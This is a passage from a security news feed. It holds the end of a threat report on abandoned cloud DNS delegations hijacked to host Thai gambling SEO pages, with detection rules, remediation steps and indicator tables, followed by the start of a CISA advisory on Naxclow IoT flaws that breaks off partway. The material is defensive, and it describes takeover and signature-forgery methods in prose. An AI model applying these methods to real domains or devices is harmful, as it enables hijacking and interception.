<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading">The Gambling Kit: What the Endpoint Delivers</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>An HTTP request to any compromised enterprise subdomain with Thai locale headers returns a fully rendered Next.js page that returns a legitimate enterprise web property. The page presents</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>lang="th" with Thai-language gambling platform branding</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>A valid Let's Encrypt wildcard TLS certificate matching the victim subdomain, clean browser padlock, no warnings</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Schema.org FAQ structured data with Thai-language answers about minimum deposits, withdrawal timelines, and mobile compatibility, directly targeting the queries Thai users make when researching gambling platforms</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>AMP alternate links for Google mobile indexing coverage</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Static assets served from paths under the compromised domain itself, using the victim's domain authority as a CDN</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>The minimum deposit advertised across all kit variants is 1 Thai Baht, approximately $0.03 USD. The 1-baht minimum ($0.03 USD) removes the deposit threshold that causes most users to abandon the registration flow before converting. The kit fingerprint is consistent across the entire victim estate, regardless of which victim domain or OVH node serves the content, confirming centralized build and deployment by a single operator.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120472,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/How-to-earn-874x1024.png" alt="Figure 8 - Three-tier referral commission structure (10%/3%/1%) plus 0.3% turnover rebate, embedded in the gambling kit served across all 163 compromised subdomains" class="wp-image-120472"><figcaption class="wp-element-caption">Figure 8 - Three-tier referral commission structure (10%/3%/1%) plus 0.3% turnover rebate, embedded in the gambling kit served across all 163 compromised subdomains</figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120473,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/Earn_attraction-1024x909.png" alt="Figure 9: Multi-level recruitment diagram promoting unlimited monthly commissions across three affiliate downline tiers." class="wp-image-120473"><figcaption class="wp-element-caption">Figure 9: Multi-level recruitment diagram promoting unlimited monthly commissions across three affiliate downline tiers.</figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading">Backend Infrastructure: The Hong Kong Fleet</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The three OVH delivery nodes handle content distribution, but the application layer sits entirely within a separate dedicated infrastructure in Hong Kong. The 103-node backend fleet is distributed across seven /24 subnets within 38.173.0.0/16, all under AS398478 (PEG TECH INC). Seven independent evidence points converge on single-operator control; the MD5 match across all 103 nodes on port 80 alone eliminates coincidence.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td><strong>Evidence Point</strong><strong></strong></td>
<td><strong>Detail</strong><strong></strong></td>
<td><strong>Weight</strong><strong></strong></td>
</tr>
<tr>
<td>HTTP body MD5 match</td>
<td>7df3d7cf3358af3f470ac7229387ef94 (615 bytes) identical across all 103 nodes on port 80</td>
<td>Critical</td>
</tr>
<tr>
<td>Single shared certificate</td>
<td>broker-xm.com Let's Encrypt cert deployed across all 103 servers</td>
<td>High</td>
</tr>
<tr>
<td>Envoy proxy fingerprint</td>
<td>Identical 503 error string on port 443 across all 103 nodes</td>
<td>High</td>
</tr>
<tr>
<td>MySQL version</td>
<td>5.7.44-log with binary replication logging enabled uniformly</td>
<td>High</td>
</tr>
<tr>
<td>BT-Panel provisioning</td>
<td>admin@bt.cn, Dongguan, Guangdong, on FTP certificates across all nodes</td>
<td>High</td>
</tr>
<tr>
<td>JARM fingerprint</td>
<td>07d14d16d21d21d07c42d43d000000270a013a3e21e28897e76e8fe13e2f7d uniform across fleet</td>
<td>High</td>
</tr>
<tr>
<td>Zero PTR records</td>
<td>No reverse DNS on any of the 103 IPs, deliberate suppression</td>
<td>Medium</td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading">Detection and Hunting</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The campaign produces no signal in standard security controls. Valid TLS certificates, clean IP reputation, trusted domain names, and no exploit delivery mean conventional tooling produces no signal. Detection requires operating at the DNS layer.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Certificate Transparency monitoring</strong> is the most reliable early indicator. An unexpected Let's Encrypt wildcard certificate on a corporate-owned subdomain, particularly following a period of no issuance, is an anomaly no legitimate provisioning scenario produces. Monitoring CT logs for wildcard certificates whose expected issuer is a corporate or premium CA would have detected every Azure takeover victim at the time of certificate issuance.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Azure DNS zone delegation</strong> <strong>auditing</strong> is a structural prevention control. Organizations should enumerate all NS delegation records in their parent DNS zones and verify that corresponding Azure DNS zones exist in subscriptions they own and actively manage. 163 organizations across 30 countries had gambling content served under their domain authority without any alert firing. One class of DNS misconfiguration enabled it.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Wildcard DNS testing</strong> confirms active exploitation. A randomized nonsense hostname query against any Azure-delegated subdomain that returns a resolution should be treated as a compromised zone until proven otherwise.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Network and endpoint detection rules:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>DNS answers resolving to 51.79.199.51, 139.99.82.106, or 38.127.8.49</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>URL query parameters containing rc=ibiza99vip1, rc=bigwinv1, or rc=seven77vip1 or rc=link99</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>HTTP requests to /img/ib99-hq.ico</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Outbound connections to 38.173.30.0/24, 38.173.37.0/24, 38.173.56.0/24, 38.173.57.0/24, 38.173.235.0/24, 38.173.236.0/24, or 38.173.239.0/24</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Internet scanning queries:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>HTTP body MD5: 7df3d7cf3358af3f470ac7229387ef94</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>TLS certificate CN: broker-xm.com</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>ASN sweep: AS398478</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Remediation</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>For Azure DNS zone takeover victims:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list {"ordered":true} --></p>
<ol class="wp-block-list"><!-- wp:list-item -->
<li>Remove the NS delegation from your parent DNS zone immediately. This severs the attack chain regardless of what the actor maintains inside the Azure zone, which is under their control and cannot be directly modified by the victim organization.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Report the abandoned zone to Microsoft MSRC at msrc@microsoft.com with the zone name and evidence. Microsoft can force-remove zones from subscriptions holding abandoned delegations.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Request revocation of any Let's Encrypt certificates issued against the compromised subdomain using the certificate serial numbers from crt.sh.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Audit all remaining subdomains for additional environment-style entries (dev, uat, staging, preprod, pilot, lab, test, sandbox) carrying NS delegations to cloud providers, and verify each delegation is intentional, current, and managed.
</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>For DigitalOcean zone takeover victims</strong>: Remove the NS delegation from the parent zone and verify whether the DigitalOcean zone exists in an account you own.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>For direct wildcard misconfiguration victims:</strong> Remove the wildcard A record from your DNS management console. If the origin of the record cannot be identified, treat the DNS management credential as compromised and rotate it immediately.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Conclusion</strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This campaign demonstrates that enterprise reputational trust can be systematically harvested through a single class of DNS misconfiguration that most organizations have no visibility into. The actor did not breach any perimeter or exploit any application vulnerability. They claimed what had been left unclaimed and built a commercial affiliate operation on top of it.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The scale, 163 organizations across 30+ countries, is not the result of 163 separate attacks. It is an automated scanning process applied to a single vulnerability class. A single wildcard record beneath an abandoned Azure delegation exposes an unlimited subdomain namespace, each entry inheriting the full TLS-verified authority of the victim's brand. The campaign lives entirely within legitimate infrastructure, OVH delivery nodes, Let's Encrypt certificates, victim-owned domains, and organic search rankings, which is precisely why conventional controls produce no signal.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Audit your DNS estate. Every abandoned NS delegation pointing to a cloud provider is a candidate for the next version of this list. Every abandoned NS delegation pointing to a cloud provider is a potential entry in the next version of this list. The remediation is simple. The detection methodology is documented here. The gap between a decommissioned project and an actively exploited subdomain closed silently on 163 organizations. In several cases, it stayed closed for over six years.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>MITRE ATT&amp;CK® Techniques</strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td><strong>Technique</strong><strong></strong></td>
<td><strong>ID</strong><strong></strong></td>
<td><strong>Description</strong><strong></strong></td>
</tr>
<tr>
<td>Resource Development — Acquire Infrastructure</td>
<td>T1583.003</td>
<td>OVH VPS for delivery; PEG TECH INC ASN for backend fleet</td>
</tr>
<tr>
<td>Resource Development — Compromise Infrastructure</td>
<td>T1584</td>
<td>Azure DNS zone takeover of legitimate enterprise subdomains</td>
</tr>
<tr>
<td>Initial Access — Drive-by Compromise</td>
<td>T1189</td>
<td>Thai users directed to compromised enterprise subdomains via organic search</td>
</tr>
<tr>
<td>Persistence — Valid Accounts</td>
<td>T1078</td>
<td>DNS management credentials implied by per-subdomain record creation (Verizon)</td>
</tr>
<tr>
<td>Defense Evasion — Impersonation</td>
<td>T1656</td>
<td>Gambling kit served under legitimate enterprise TLS certificates</td>
</tr>
<tr>
<td>Defense Evasion — Valid Accounts: Cloud Accounts</td>
<td>T1078.004</td>
<td>Azure account used to claim abandoned DNS zones</td>
</tr>
<tr>
<td>Collection — Adversary-in-the-Middle</td>
<td>T1557</td>
<td>Server-side affiliate referrer verification intercepts the user session</td>
</tr>
<tr>
<td>Exfiltration — Web Service</td>
<td>T1567</td>
<td>User registration data and financial transactions were exfiltrated to gambling platforms</td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Indicators of Compromise (IOCs)</strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td colspan="3"><strong>Delivery Infrastructure</strong></td>
</tr>
<tr>
<td><strong>Indicator</strong></td>
<td><strong>Type</strong></td>
<td><strong>Description</strong></td>
</tr>
<tr>
<td>51.79.199.51</td>
<td>IP</td>
<td>Primary OVH delivery node, AS16276</td>
</tr>
<tr>
<td>139.99.82.106</td>
<td>IP</td>
<td>Secondary OVH delivery node, AS16276</td>
</tr>
<tr>
<td>38.127.8.49</td>
<td>IP</td>
<td>Tertiary OVH delivery node, AS16276</td>
</tr>
<tr>
<td>38.173.30.0/24</td>
<td>CIDR</td>
<td>Backend fleet, AS398478 PEG TECH INC</td>
</tr>
<tr>
<td>38.173.37.0/24</td>
<td>CIDR</td>
<td>Backend fleet, AS398478 PEG TECH INC</td>
</tr>
<tr>
<td>38.173.56.0/24</td>
<td>CIDR</td>
<td>Backend fleet, AS398478 PEG TECH INC</td>
</tr>
<tr>
<td>38.173.57.0/24</td>
<td>CIDR</td>
<td>Backend fleet, AS398478 PEG TECH INC</td>
</tr>
<tr>
<td>38.173.235.0/24</td>
<td>CIDR</td>
<td>Backend fleet, AS398478 PEG TECH INC</td>
</tr>
<tr>
<td>38.173.236.0/24</td>
<td>CIDR</td>
<td>Backend fleet, AS398478 PEG TECH INC</td>
</tr>
<tr>
<td>38.173.239.0/24</td>
<td>CIDR</td>
<td>Backend fleet, AS398478 PEG TECH INC</td>
</tr>
<tr>
<td colspan="3"><strong>Certificates and Fingerprints</strong></td>
</tr>
<tr>
<td><strong>Indicator</strong></td>
<td><strong>Type</strong></td>
<td><strong>Description</strong></td>
</tr>
<tr>
<td>d9799ca2f08af6992dc80c49f9889fef40ed27c7</td>
<td>SHA1</td>
<td>bt.default.com custom CA on primary delivery node</td>
</tr>
<tr>
<td>broker-xm.com</td>
<td>Domain</td>
<td>Let's Encrypt cert across all 103 backend nodes</td>
</tr>
<tr>
<td>07d14d16d21d21d07c42d43d000000270a013a3e21e28897e76e8fe13e2f7d</td>
<td>JARM</td>
<td>TLS fingerprint across delivery and backend infrastructure</td>
</tr>
<tr>
<td>7df3d7cf3358af3f470ac7229387ef94</td>
<td>MD5</td>
<td>HTTP body hash, 615 bytes, port 80, all 103 backend nodes</td>
</tr>
<tr>
<td colspan="3"><strong>Campaign Kit Fingerprints</strong></td>
</tr>
<tr>
<td><strong>Indicator</strong></td>
<td><strong>Type</strong></td>
<td><strong>Description</strong></td>
</tr>
<tr>
<td>QQOrXCFjoI6C9oF-4YVhl</td>
<td>String</td>
<td>Next.js build ID across all delivery endpoints</td>
</tr>
<tr>
<td>/img/ib99-hq.ico</td>
<td>URI</td>
<td>Kit-specific favicon path</td>
</tr>
<tr>
<td>main.af42a497.css</td>
<td>Hash</td>
<td>Shared CSS fingerprint across all three destination platforms</td>
</tr>
<tr>
<td>pub-a4952b46ff9c4f6b8d5529cd21f9a1e3.r2.dev</td>
<td>Domain</td>
<td>Cloudflare R2 CDN bucket</td>
</tr>
<tr>
<td colspan="3"><strong>Affiliate Domains and Tracking</strong></td>
</tr>
<tr>
<td><strong>Indicator</strong></td>
<td><strong>Type</strong></td>
<td><strong>Description</strong></td>
</tr>
<tr>
<td>ibiza99.autos</td>
<td>Domain</td>
<td>Destination platform, affiliate code ibiza99vip1</td>
</tr>
<tr>
<td>big888.store</td>
<td>Domain</td>
<td>Destination platform, affiliate code bigwinv1</td>
</tr>
<tr>
<td>seven77.click</td>
<td>Domain</td>
<td>Destination platform, affiliate code seven77vip1</td>
</tr>
<tr>
<td>link99.nova555.rest</td>
<td>Domain</td>
<td>Destination platform, affiliate code link99</td>
</tr>
<tr>
<td>appbox.7y6texmeyy.com</td>
<td>Domain</td>
<td>ibiza99.autos image CDN</td>
</tr>
<tr>
<td>appbox.devh5api27.xyz</td>
<td>Domain</td>
<td>big888.store image CDN</td>
</tr>
<tr>
<td>appbox.55u4g5g4k2.com</td>
<td>Domain</td>
<td>seven77.click image CDN</td>
</tr>
<tr>
<td>322242757545449</td>
<td>Pixel ID</td>
<td>Facebook Pixel, ibiza99.autos</td>
</tr>
<tr>
<td>1607473696511298</td>
<td>Pixel ID</td>
<td>Facebook Pixel, ibiza99.autos</td>
</tr>
<tr>
<td>721331896825411</td>
<td>Pixel ID</td>
<td>Facebook Pixel, big888.store</td>
</tr>
<tr>
<td>GTM-NP59MP3T</td>
<td>GTM ID</td>
<td>Google Tag Manager, big888.store</td>
</tr>
<tr>
<td colspan="3"><strong>Parallel Operations (AS398478)</strong></td>
</tr>
<tr>
<td><strong>Indicator</strong></td>
<td><strong>Type</strong></td>
<td><strong>Description</strong></td>
</tr>
<tr>
<td>99997778.com</td>
<td>Domain</td>
<td>Active Chinese gambling platform, AS398478</td>
</tr>
<tr>
<td>bevictor.com</td>
<td>Domain</td>
<td>Chinese offshore sports betting (伟德国际), AS398478</td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p>The post <a rel="nofollow" href="https://cyble.com/blog/borrowed-trust-cloud-dns-takeover-thai-gambling-seo-poisoning/">Borrowed Trust – Systematic Exploitation of Abandoned Cloud DNS Delegations to serve Thai Gambling SEO Content</a> appeared first on <a rel="nofollow" href="https://cyble.com/">Cyble</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Naxclow IoT Platform]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker to impersonate devices, intercept or manipulate communications, harvest sensitive credentials at scale, or gain unauthorized access.
The following versions of Naxclow IoT Platform are affected:

Smart Doorb...]]></description>
<link>https://tsecurity.de/de/3591236/it-security-nachrichten/naxclow-iot-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3591236/it-security-nachrichten/naxclow-iot-platform/</guid>
<pubDate>Thu, 11 Jun 2026 18:20:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-162-02.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker to impersonate devices, intercept or manipulate communications, harvest sensitive credentials at scale, or gain unauthorized access.</strong></p>
<p>The following versions of Naxclow IoT Platform are affected:</p>
<ul>
<li>Smart Doorbell X3 vers:all/* </li>
<li>X Smart Home vers:all/* </li>
<li>V720 vers:all/* </li>
<li>ix cam vers:all/* </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Naxclow</td>
<td>Naxclow IoT Platform</td>
<td>Authorization Bypass Through User-Controlled Key, Missing Authorization, Not Using Password Aging, Use of Hard-coded Cryptographic Key, Generation of Predictable Numbers or Identifiers, Insertion of Sensitive Information into Externally-Accessible File or Directory</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Commercial Facilities</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>China</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-42947</a></h3>
<div class="csaf-accordion-content">
<p>A flaw in Naxclow's platform's onboarding workflow allows an attacker to replay a confirm-then-bind sequence to silently reassign a device to an arbitrary account. Because the affected endpoints validate request signatures but do not confirm legitimate ownership, an attacker with any account can take over a device without user interaction while the device remains online and unaware.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-42947">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Naxclow IoT Platform</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Naxclow</div>
<div class="ics-version"><strong>Product Version:</strong><br>Naxclow Smart Doorbell X3: vers:all/*, Naxclow X Smart Home: vers:all/*, Naxclow V720: vers:all/*, Naxclow ix cam: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Naxclow did not respond to CISA's attempts to coordinate these vulnerabilities. Users should contact Naxclow for more information.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639 Authorization Bypass Through User-Controlled Key</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50108</a></h3>
<div class="csaf-accordion-content">
<p>The Naxclow platform API that returns device relay registration details exposes a persistent credential without verifying that the requester is the legitimate device or owner. An actor able to present a platform-valid request signature can retrieve credentials for arbitrary devices and register on the relay as that device, enabling interception and disruption of its communications.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50108">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Naxclow IoT Platform</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Naxclow</div>
<div class="ics-version"><strong>Product Version:</strong><br>Naxclow Smart Doorbell X3: vers:all/*, Naxclow X Smart Home: vers:all/*, Naxclow V720: vers:all/*, Naxclow ix cam: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Naxclow did not respond to CISA's attempts to coordinate these vulnerabilities. Users should contact Naxclow for more information.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/862.html">CWE-862 Missing Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50101</a></h3>
<div class="csaf-accordion-content">
<p>Naxclow devices use a server-side, per-device relay credential that never rotates and is re-issued to the device on each boot. Because this credential remains valid indefinitely and cannot be reset or revoked by the legitimate owner, any party that obtains it through any exposure path can maintain persistent access to the device's relay channel. This enables long-term impersonation or interception, even after factory resets or re-onboarding.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50101">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Naxclow IoT Platform</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Naxclow</div>
<div class="ics-version"><strong>Product Version:</strong><br>Naxclow Smart Doorbell X3: vers:all/*, Naxclow X Smart Home: vers:all/*, Naxclow V720: vers:all/*, Naxclow ix cam: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Naxclow did not respond to CISA's attempts to coordinate these vulnerabilities. Users should contact Naxclow for more information.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/262.html">CWE-262 Not Using Password Aging</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-28742</a></h3>
<div class="csaf-accordion-content">
<p>Naxclow devices use a uniform request-signing scheme based on a hard-coded, platform-wide salt embedded in every firmware image. Once this salt is recovered from any device, an attacker can generate valid signatures for arbitrary device or account operations due to the absence of per-device keys, server-side nonce tracking, or replay protections. Combined with the system's use of plain HTTP for control-plane traffic, the construction enables broad request forgery and impersonation across the platform.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-28742">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Naxclow IoT Platform</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Naxclow</div>
<div class="ics-version"><strong>Product Version:</strong><br>Naxclow Smart Doorbell X3: vers:all/*, Naxclow X Smart Home: vers:all/*, Naxclow V720: vers:all/*, Naxclow ix cam: vers:all/*</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Naxclow did not respond to CISA's attempts to coordinate these vulnerabilities. Users should contact Naxclow for more information.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/321.html">CWE-321 Use of Hard-coded Cryptographic Key</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
